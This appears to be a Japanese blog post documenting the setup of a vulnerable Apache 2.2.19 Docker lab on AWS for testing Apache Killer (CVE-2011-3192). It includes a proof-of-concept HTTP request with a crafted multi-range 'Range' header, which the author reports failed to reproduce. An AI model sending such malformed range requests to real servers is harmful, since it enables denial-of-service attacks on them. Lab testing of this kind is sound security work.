概要
何かニッチで今頃?ですけど、Apache KillerをテストするためのApache 2.2.19の環境がほしいとの要求がありましてAWS上にDockerコンテナを作ってみました。
Apache Killerとは、2011年に公開されたApache HTTP Server存在する脆弱性(CVE-2011-3192)を悪用してDDoS攻撃をするツールの総称だそうです。脆弱性ではなくツールの総称だったのですね。
作業内容
事前準備
事前に以下を実施しております。
・AWSのアカウントの作成
・作業マシン(kali)にdocker-machineをインストール
また、事前準備はURL(※1)を参考にさせていただきDockerイメージを作成してDockerHub上にPushしております。
Dockerコンテナ作成
AWSへのDockerコンテナ作成はURL(※2)を参考にしました。
まず、作業マシンでaws-sandboxというEC2インスタンスをAWS上に作成します。
// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials
[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
作業マシンでコマンドを発行し、インスタンス上でDockerイメージを取得します。
// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)
// インスタンスを確認
$ docker-machine ls
NAME ACTIVE DRIVER STATE URL SWARM DOCKER ERRORS
aws-sandbox * amazonec2 Running tcp://54.95.XX.XXXX:2376 v19.03.8
// インスタンス上でDockerイメージを取得しコンテナを生成。
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name apachekiller stcmjp/cve-2011-3192:1.0
インスタンスに接続すると、Dockerコンテナが生成されていることを確認できます。生成後コンテナはすぐに停止しております。
// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox
// コンテナの状態を確認
$ sudo su -
# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stcmjp/cve-2011-3192 1.0 db5ddb6a43bb 14 hours ago 1.44GB
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9ca518ad305c stcmjp/cve-2011-3192:1.0 "/bin/bash" 8 minutes ago Exited (0) 8 minutes ago apachekiller
引き続き、インスタンス上でコンテナを起動します。
// コンテナを起動し接続
# docker run -i -t -p 8888:80 -t stcmjp/cve-2011-3192:1.0 /bin/bash
// Apacheの起動
[root@b3230326486e /]# /etc/init.d/httpd start
これで作業マシン上のブラウザから http://54.95.XXX.XXX:8888/index.php に接続することができます。
脆弱性の検証
準備が整ったところで作業マシンからURL(※3)を参考にPoCを試してみます。
- リクエスト
# telnet 54.95.XXX.XXX 8888
Trying 54.95.XXX.XXX...
Connected to 54.95.XXX.XXX.
Escape character is '^]'.
GET /index.php HTTP/1.1
Host: 54.95.XXX.XXX:8888
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30
- レスポンス
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:07:42 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.1e-fips DAV/2 PHP/5.3.5
X-Powered-By: PHP/5.3.5
Transfer-Encoding: chunked
Content-Type: text/html
あれ?再現できませんでした。orz
脆弱性のある場合はレスポンスコードが HTTP/1.1 206 Partial Contet になるはずですが、時間が無いので今回はここまでで終了しました。
時間ができたら詳しく調査してみます。